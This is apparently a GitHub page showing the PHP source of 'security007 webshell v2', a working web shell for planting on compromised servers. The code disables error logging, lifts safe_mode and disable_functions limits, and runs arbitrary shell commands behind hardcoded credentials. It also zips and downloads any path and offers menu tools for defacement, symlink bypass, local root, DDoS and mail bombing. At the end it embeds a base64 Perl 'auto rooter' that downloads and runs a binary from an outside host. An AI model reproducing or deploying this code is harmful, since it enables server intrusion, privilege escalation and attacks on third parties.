-
Notifications
You must be signed in to change notification settings - Fork 1
/
security007_webshell_v2.php
3273 lines (2953 loc) · 159 KB
/
security007_webshell_v2.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
error_reporting(0);
ini_set('max_execution_time',0);
ini_set('memory_limit','999999999M');
function Zip($source, $destination) // Thanks to Alix Axel
{
if (!extension_loaded('zip') || !file_exists($source)) {
return false;
}
$zip = new ZipArchive();
if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
return false;
}
$source = str_replace('\\', '/', realpath($source));
if (is_dir($source) === true)
{
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
foreach ($files as $file)
{
$file = str_replace('\\', '/', realpath($file));
if (is_dir($file) === true)
{
$zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
}
else if (is_file($file) === true)
{
$zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
}
}
}
else if (is_file($source) === true)
{
$zip->addFromString(basename($source), file_get_contents($source));
}
return $zip->close();
}
if(isset($_GET['zip'])) {
$src = $_GET['zip'];
$dst = getcwd()."/".basename($_GET['zip']).".zip";
if (Zip($src, $dst) != false) {
$filez = file_get_contents($dst);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($dst)."\";");
echo $filez;
}
exit;
}
// ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\
/**************** Defines *********************************/
$greeting = "0o0o0 WELCOME MASTER ^.^ 0o0o0";
$user = "security007";
$pass = "security007";
$lock = "on"; // set this to off if you dont need the login page
$antiCrawler = "on"; // set this to on if u dont want your shell to be publicised in Search Engines ! (It increases the shell's Life')
$tracebackFeature = "on"; // set this feature to on to enable email alerts
$ownerEmail = "[email protected]"; // use for sending traceback
$url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$phpVersion = phpversion();
$self = $_SERVER["PHP_SELF"]; // Where am i
$sm = @ini_get('safe_mode');
$SEPARATOR = '/'; // Default Directory separator
$os = "N/D";
if(stristr(php_uname(),"Windows"))
{
$SEPARATOR = '\\';
$os = "Windows";
}
else if(stristr(php_uname(),"Linux"))
{
$os = "Linux";
}
//*************************************************************/
// -------------- Traceback Functions
function sendLoginAlert()
{
global $ownerEmail;
global $url;
$accesedIp = $_SERVER['REMOTE_ADDR'];
$randomInt = rand(0,1000000); # to avoid id blocking
$from = "[email protected]";
//echo $from;
if(function_exists('mail'))
{
$subject = "Shell Accessed -- security007 webshell --";
$message = "
Hey Owner ,
Your Shell(security007 webshell) located at $url was accessed by $accesedIp
If its not you :-
1. Please check if the shell is secured.
2. Change your user name and Password.
3. Check if lock is 0n!
Thanking You
Yours Faithfully
security007
";
mail($ownerEmail,$subject,$message,'From:'.$from);
}
}
//---------------------------------------------------------
if(function_exists('session_start') && $lock == 'on')
{
session_start();
}
else
{
// The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported
$lock = 'off';
}
//logout
if(isset($_GET['logout']) && $lock == 'on')
{
$_SESSION['authenticated'] = 0;
session_destroy();
header("location: ".$_SERVER['PHP_SELF']);
}
ini_set('max_execution_time',0);
/***************** Restoring *******************************/
ini_restore("safe_mode_include_dir");
ini_restore("safe_mode_exec_dir");
ini_restore("disable_functions");
ini_restore("allow_url_fopen");
ini_restore("safe_mode");
ini_restore("open_basedir");
if(function_exists('ini_set'))
{
ini_set('error_log',NULL); // No alarming logs
ini_set('log_errors',0); // No logging of errors
ini_set('file_uploads',1); // Enable file uploads
ini_set('allow_url_fopen',1); // allow url fopen
}
else
{
ini_alter('error_log',NULL);
ini_alter('log_errors',0);
ini_alter('file_uploads',1);
ini_alter('allow_url_fopen',1);
}
// ----------------------------------------------------------------------------------------------------------------
?>
<html>
<head>
<title>Security007 webshell</title>
<?php
if($antiCrawler != 'off')
{
?>
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<?php
}
?>
<style>
/*
==========================
CSS Section
==========================
*/
* {
padding:0;
margin:0;
}
button.tool{
color:red;
background:silver;
border:2px;
border-color:#00FF00;
}
a{
color:silver;
text-decoration:none;
}
html, body {
height: 100%;
}
#container {
min-height: 100%;
margin-bottom: -330px;
position: relative;
}
#footer {
height: 330px;
position: relative;
}
.clearfooter {
height: 330px;
clear: both;
}
.alert
{
background:red;
color:white;
font-weight:bold;
}
td.info
{
width:0px;
}
.bind
{
border: 1px solid #333333;
margin: 15px auto 0;
font-size: small;
}
div.end *
{
font-size:small;
}
div.end
{
width:100%;
}
p.blink
{
text-decoration: blink;
}
body
{
background-color:black;
color:#00FF00;
font-family:Tahoma,Verdana,Arial;
font-size: small;
}
input.own {
background-color: black;
color: white;
border : 1px solid #ccc;
}
blockquote.small
{
font-size: smaller;
color: silver;
text-align: center;
}
table.files
{
border-spacing: 10px;
font-size: small;
}
h1 {
padding: 4px;
padding-bottom: 0px;
margin-right : 5px;
}
div.logo
{
border-right: 1px #00FF00 solid;
}
div.header
{
padding-left: 5px;
font-size: small;
text-align: left;
}
div.nav
{
margin-top:1px;
height:60px;
}
div.nav ul
{
list-style: none;
padding: 4px;
}
div.nav li
{
float: left;
margin-right: 10px;
text-align:center;
}
textarea.cmd
{
border : 1px solid #111;
background-color : black;
font-family: Shell;
color : #00FF00;
margin-top: 30px;
font-size:small;
}
input.cmd
{
background-color:black;
color: #00FF00;
width: 400px;
border : 1px solid #ccc;
}
td.maintext
{
font-size: large;
}
#margins
{
margin-left: 10px;
margin-top: 10px;
color:white;
}
table.top
{
border-bottom: 1px solid #00FF00;
width: 100%;
}
#borders
{
border-top : 1px solid #00FF00;
border-left:1px solid #00FF00;
border-bottom: 1px solid #00FF00;
border-right: 1px solid #00FF00;
margin-bottom:0;
}
td.file a , .file a
{
text-decoration:none;
}
a.dir
{
font-weight:bold;
text-decoration:none;
}
td.dir a
{
text-decoration:none;
}
td.download,td.download2
{
color:green;
}
#spacing
{
padding:10px;
margin-left:200px;
}
th.header
{
background: none repeat scroll 0 0 #191919;
color: white;
background:#00FF00;
border : 1px solid silver;
}
p.alert_red
{
background : red;
color: white;
}
p.alert_green
{
background :#00ff00;
color: black;
}
.blink {
animation-duration: 1s;
animation-name: blink;
animation-iteration-count: infinite;
animation-timing-function: steps(2, start);
}
@keyframes blink {
80% {
visibility: hidden;
}
}
.bg
{
background-image: url('http://i0.wp.com/cdn.wallpapersafari.com/29/6/0V26D1.png');
background-position: center;
background-size: cover;
}
/*
--------------------------------CSS END------------------------------------------------------
*/
</style>
</head>
<body class="bg" color="silver" >
<div id='container'>
<?php
if(isset($_POST['user']) && isset($_POST['pass']) && $lock == 'on')
{
if( $_POST['user'] == $user &&
$_POST['pass'] == $pass )
{
$_SESSION['authenticated'] = 1;
// --------------------- Tracebacks --------------------------------
if($tracebackFeature == 'On')
{
sendLoginAlert();
}
// ------------------------------------------------------------------
}
}
if($lock == 'off')
{?>
<p class="alert_red"><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></p>
<?php
}
if($lock == 'on' && (!isset($_SESSION['authenticated']) || $_SESSION['authenticated']!=1) )
{
?>
<?php
// <div id="wassup">
// include("http://ani-shell.sourceforge.net/wassup.txt");
//</div>
?>
<center>
<table cellspacing="0" cellpadding="4">
<tr>
<td>
<font color="#00FF00">
<pre>
============================================================
=</font><font color="white"> ######## </font><font color="#00FF00">=</font><font color="white"> ######## #############</font><font color="white"> #Majulahindonesiaku </font><font color="#00FF00">=
=</font><font color="white"> # # # # # </font><font color="#00FF00">==</font><font color="white"> #JayalahTanahAirku </font><font color="#00FF00">==
=</font><font color="white"> # # # # # # # # ### </font><font color="#00FF00">====</font><font color="white"> #DamailahBangsaku </font><font color="#00FF00">===
</font><font color="#00FF00">=</font><font color="white"> # #### # # #### # # </font><font color="#00FF00">============================
</font><font color="#00FF00">=</font><font color="white"> # # # # # </font><font color="#00FF00">==============================
</font><font color="#00FF00">=</font><font color="white"> ######## </font><font color="#00FF00">=</font><font color="white"> ######## # </font><font color="#00FF00">======<font color="white"> WBBSHELL V 2.1 </font><font color="#00FF00">==========
</font><font color="#00FF00">============================================================
</font></pre>
</td></tr></table></center>
<center><p class="blink"><font color="white" size="5"><code><?php echo $greeting;?></h1></code></font><br /><br /></p>
<form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">
<input name="user" value="" placeholder="Username" style="border-color:#00FF00"/> <input name="pass" placeholder="Password" style="border-color:#00FF00" type="password" value=""/> <input class="own" type="Submit" value="Masuk" style="border-color:#00FF00"/>
</form></center>
<?php
}
//---------------------------------- We are authenticated now-------------------------------------
//Launch the shell
else
{
//---------------------------------- Fuctions ---------------------------------------------------
function showDrives()
{
global $self;
foreach(range('A','Z') as $drive)
{
if(is_dir($drive.':\\'))
{
?>
<a class="dir" href='<?php echo $self ?>?dir=<?php echo $drive.":\\"; ?>'>
<?php echo $drive.":\\" ?>
</a>
<?php
}
}
}
function HumanReadableFilesize($size)
{
$mod = 1024;
$units = explode(' ','B KB MB GB TB PB');
for ($i = 0; $size > $mod; $i++)
{
$size /= $mod;
}
return round($size, 2) . ' ' . $units[$i];
}
function getClientIp()
{
echo $_SERVER['REMOTE_ADDR'];
}
function getServerIp()
{
echo getenv('SERVER_ADDR');
}
function getSoftwareInfo()
{
echo php_uname();
}
function diskSpace()
{
echo HumanReadableFilesize(disk_total_space("/"));
}
function freeSpace()
{
echo HumanReadableFilesize(disk_free_space("/"));
}
function getSafeMode()
{
global $sm;
echo($sm?"ON (Most of the Features will Not Work)":"OFF");
}
function getDisabledFunctions()
{
if(!ini_get('disable_functions'))
{
echo "None";
}
else
{
echo @ini_get('disable_functions');
}
}
function getFilePermissions($file)
{
$perms = fileperms($file);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
// Dir size
/**
* Get the directory size
* @param directory $directory
* @return integer
*/
function dirSize($directory) {
$size = 0;
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
try {
$size += $file->getSize();
}
catch (Exception $e){ // Symlinks and other shits
$size += 0;
}
}
return $size;
}
/***********************************************************/
// exec_all , A function used to execute commands , This function will only execute if the Safe Mode is
// Turned OFF!
/**********************************************************/
function exec_all($command)
{
$output = '';
if(function_exists('exec'))
{
exec($command,$output);
$output = join("\n",$output);
}
else if(function_exists('shell_exec'))
{
$output = shell_exec($command);
}
else if(function_exists('popen'))
{
$handle = popen($command , "r"); // Open the command pipe for reading
if(is_resource($handle))
{
if(function_exists('fread') && function_exists('feof'))
{
while(!feof($handle))
{
$output .= fread($handle, 512);
}
}
else if(function_exists('fgets') && function_exists('feof'))
{
while(!feof($handle))
{
$output .= fgets($handle,512);
}
}
}
pclose($handle);
}
else if(function_exists('system'))
{
ob_start(); //start output buffering
system($command);
$output = ob_get_contents(); // Get the ouput
ob_end_clean(); // Stop output buffering
}
else if(function_exists('passthru'))
{
ob_start(); //start output buffering
passthru($command);
$output = ob_get_contents(); // Get the ouput
ob_end_clean(); // Stop output buffering
}
else if(function_exists('proc_open'))
{
$descriptorspec = array(
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
);
$handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
if(is_resource($handle))
{
if(function_exists('fread') && function_exists('feof'))
{
while(!feof($pipes[1]))
{
$output .= fread($pipes[1], 512);
}
}
else if(function_exists('fgets') && function_exists('feof'))
{
while(!feof($pipes[1]))
{
$output .= fgets($pipes[1],512);
}
}
}
pclose($handle);
}
return(htmlspecialchars($output));
}
function magicQuote($text)
{
if (!get_magic_quotes_gpc())
{
return $text;
}
return stripslashes($text);
}
function md5Crack($hash , $list)
{
$fd = fopen($list,"r");
if( strlen($hash) != 32 || $fd == FALSE)
{
// echo "$hash , " . strlen($hash) ." , $list , $fd"; // Debugging
return "<p class='alert_red'>Hash or List invalid!</p>";
}
else
{
while (! feof( $fd ))
{
if( ($pwdList = fgets( $fd, 1024 )) == FALSE)
{
break;
}
$pwdList = trim($pwdList);
if(md5($pwdList) == $hash )
{
return "<script>alert('Password Cracked');</script>\n<h2>Hash Cracked</h2><br /><br />\n<p class='alert_green'>Planintext : $pwdList</p>";
}
}
}
}
function exec_query_mysql($query,$sql_server,$sql_port,$sql_db,$sql_user,$sql_pass)
{
$link = mysql_connect($sql_server.":".$port,$sql_user,$sql_pass);
if(!$link)
{
return 'Could not connect: ' . mysql_error();
}
$resource = mysql_query($query);
if(!$resource) return(mysql_error());
}
//------------------------------------------------------------------------------------------------
if(isset($_GET['dir'])) {
$dir = $_GET['dir'];
chdir($_GET['dir']);
} else {
$dir = getcwd();
}
$dir = str_replace("\\","/",$dir);
$scdir = explode("/", $dir);
function exe($cmd) {
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif(function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
$wget = (exe('wget --help')) ? "<font color=silver>Enabled</font>" : "<font color=red>Disabled</font>";
$perl = (exe('perl --help')) ? "<font color=silver>Enabled</font>" : "<font color=red>Disabled</font>";
$python = (exe('python --help')) ? "<font color=silver>Enabled</font>" : "<font color=red>Disabled</font>";
?>
<table class="top">
<tbody>
<tr>
<td width="300px;">
<div class="logo">
<center><p class="blink"><code><font size="5" color="#00FF00">SECURITY007 WEBSHELL</code></center></font></p>
</div>
</td>
<td>
<div class="header">
<font color="silver" >
<?php getSoftwareInfo(); ?></font><br />
Your IP : <font color="silver" ><?php getClientIp(); ?></font> <font color="#00FF00" >|</font> Server IP : <font color="silver" ><?php getServerIp();?></font> <br />
Disable functions : <font color='silver'><?php getDisabledFunctions(); ?> <br></font>
<?php
if($os == 'Windows'){ echo "Drive: ";echo showDrives();}
echo "<br>Current DIR: ";
foreach($scdir as $c_dir => $cdir) {
echo "<a href='?dir=";
for($i = 0; $i <= $c_dir; $i++) {
echo $scdir[$i];
if($i != $c_dir) {
echo "/";
}
}
echo "'>$cdir</a>/";
}?>
</div>
</td>
</tr>
</tbody>
</table>
<div class="header" id="borders">
Server ADMIN: <font color='silver'><?php echo $_SERVER['SERVER_ADMIN'];?></font> <font color="silver" >|</font>
PHP VERSION : <font color='silver'><?php echo $phpVersion; ?></font> <font color="silver" >|</font>
Curl : <?php echo function_exists('curl_version')?("<font color='silver'>Enabled</font>"):("<font color='#00FF00'>Disabled</font>"); ?> <font color="silver" >|</font>
Wget : <?php echo $wget; ?> <font color="silver" >|</font>
MySQL : <?php echo function_exists('mysql_connect')?("<font color='silver'>Enabled</font>"):("<font color='#00FF00'>Disabled</font>");?> <font color="silver" >|</font>
Python : <?php echo $python; ?> <font color="silver" >|</font>
Perl : <?php echo $perl; ?> <font color="silver" >|</font>
Safe Mode :<font color="silver" > <?php getSafeMode(); ?></font><font color="silver" > |</font>
Space : <font color='silver'><?php diskSpace(); ?> </font><font color="silver" >|</font>
Free : <font color='silver'><?php freeSpace(); ?></font>
</table>
</div>
<div class="nav">
<center>
<p><center> TOOLS </center>
<a href="<?php echo $self;?>">[Home]</a>
<a href="<?php echo '?dir='.$dir.'&upload';?>">[Upload]</a>
<a href="<?php echo '?dir='.$dir.'&shell';?>">[Shell]</a>
<a href="<?php echo '?dir='.$dir.'&tty';?>">[TTY Shell]</a>
<a href="<?php echo '?dir='.$dir.'&mass'?>">[Mass Deface]</a>
<a href="<?php echo '?dir='.$dir.'&config'?>">[Config]</a>
<a href="<?php echo '?dir='.$dir.'&python_sym'?>">[Python Symlink]</a>
<a href="<?php echo '?dir='.$dir.'&sym'?>">[Symlink]</a>
<a href="<?php echo '?dir='.$dir.'&jumping'?>">[Jumping]</a>
<a href="<?php echo '?dir='.$dir.'&bypass'?>">[Bypass Disable Function]</a>
<a href="<?php echo '?dir='.$dir.'&cgi'?>">[Cgi Telnet]</a>
<a href="<?php echo '?dir='.$dir.'&autoedit'?>">[Auto Edit User]</a>
<a href="<?php echo '?dir='.$dir.'&sym404'?>">[Bypass Symlink 404 & 403]</a>
<a href="<?php echo '?dir='.$dir.'&adminer'?>">[Adminer]</a>
<a href="<?php echo '?dir='.$dir.'&toket'?>">[Socket Server]</a>
<a href="<?php echo '?dir='.$dir.'&localroot'?>">[Localroot]</a>
<a href="<?php echo '?dir='.$dir.'&depes'?>">[Security007 Private Deface]</a>
<a href="<?php echo '?dir='.$dir.'&r00t'?>">[Aut0 R00t3r (Unix/Linux)]</a>
<a href="<?php echo '?dir='.$dir.'&dos';?>">[DDoS]</a>
<a href="<?php echo '?dir='.$dir.'&fuzz';?>">[Web-Server Fuzzer]</a>
<a href="<?php echo '?dir='.$dir.'&mail'?>">[Mass Mailer]</a>
<a href="<?php echo '?dir='.$dir.'&bomb'?>">[Mail Bomber]</a>
<a href="<?php echo '?dir='.$dir.'&connect'?>">[Connect]</a>
<a href="<?php echo '?dir='.$dir.'&injector'?>">[Mass Code Injector]</a>
<a href="<?php echo '?dir='.$dir.'&obfuscate'?>">[PHP Obfuscator]</a>
<a href="<?php echo '?dir='.$dir.'&eval'?>">[PHP Evaluate]</a>
<a href="<?php echo '?dir='.$dir.'&md5'?>">[MD5 Cracker]</a>
<a href="<?php echo '?dir='.$dir.'&gdork'?>">[Google Dork Creator]</a>
<?php if($lock == 'on')
{
?>
<a href="<?php echo $self.'?logout'?>">[I m Out!]</a></li>
<?php
}
?>
<center>
<p>
</div>
<center>
<?php
//-------------------------------- Check what he wants -------------------------------------------
// Shell
if(isset($_GET['shell']))
{
echo "<br><br><form method='post'>
<font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
<input type='text' size='30' height='10' name='cmd'><input type='submit' class='own' name='do_cmd' value='>>'>
</form>";
if ($_POST['do_cmd']){
echo '<code><pre><center><table width=70% ><tr><td><pre>'.exec_all($_POST['cmd']).'</td></tr></table><pre></center></code>';
}
}
// Auto Rooter (Linux/Unix Only!) with Perl Installed
else if(isset($_GET['r00t']))
{
// Note : The Perl Auto Rooter Perl Script was originally written by iskorpitx , All credits to him for an awesome
// Piece of code , and thanks to eXes0ul for providing me the links . ;)
$r00t =
"IyEvdXNyL2Jpbi9wZXJsIA0KIyBFeHBsb2l0IHRvb2xzIHYyLjAgY29kZWQgYnkgaXNrb3JwaXR4
IChUdXJraXNoIEhhY2tlcikNCiMgbGludXggc2VydmVybGVyZGUgZ2VjZXJsaWRpcg0KIyBpeWkg
c2Fuc2xhcjopDQojIGJ5IGlza29ycGl0eA0KeyANCnN5c3RlbSgid2dldCBodHRwOi8vd2FyMTk3
MS5jb20vQ01TX0ZJTEVTL2ZpbGUvY2MvaXNrb3JwaXR4Iik7ICANCnN5c3RlbSgiY2htb2QgNzc3
IGlza29ycGl0eCIpOyANCnN5c3RlbSgiLi9pc2tvcnBpdHgiKTsgDQpzeXN0ZW0oImlkIik7IA0K
c3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